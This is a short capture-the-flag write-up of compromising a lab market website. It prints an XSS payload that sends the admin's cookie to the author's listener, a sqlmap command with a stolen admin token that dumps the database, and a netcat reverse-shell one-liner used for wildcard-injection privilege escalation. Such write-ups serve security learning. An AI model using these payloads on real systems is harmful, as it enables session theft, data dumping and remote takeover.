Before all
Coffee or tea or whale?
well…you can’t order the last one 🤣
Victim IP : 10.10.65.93
My IP : 10.8.211.34
Write Up
RECON
Nothing found but a port : 32768 with the same function as port : 80.
Web Exploitation
This is a simple market website, you can register your account and add new items.
XSS
After I tried out the add
function, I noticed that there’s a XSS vulnerabilities:
Both of the alert worked, so it’s time to report the payload to admin.
Though there’s no webhook.site to use, it’s still feasible to set up a simple http server with python.
Source:
1 | #!/usr/bin/env python |
XSS Payload:
1 | <script> image = new Image(); image.src='http://10.8.211.34:8888/?'+document.cookie; </script> |
SQL Injection
After getting the admin’s cookie, I found out a sql injection in admin panel.
sqlmap:sqlmap --url "http://10.10.65.93/admin?user=1" --cookie='token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDA2MjkxMDN9.Lj9L2zuNLSAQE3btbfm_XZTgbJHKRPH7HOWk-fSbgyE' --technique=U --delay=2 --dump
And here’s the ssh password~
Privilege Escalation
Wildcard Injection
Here for more informations:link
1 | echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.211.34 5130 >/tmp/f'>shell.sh |
Get shell on 5130:
Escalated to user michael
.
Docker Escalation
GTFOBins
Get flag!!!
After all
Just a little bit tire and nervous now ><.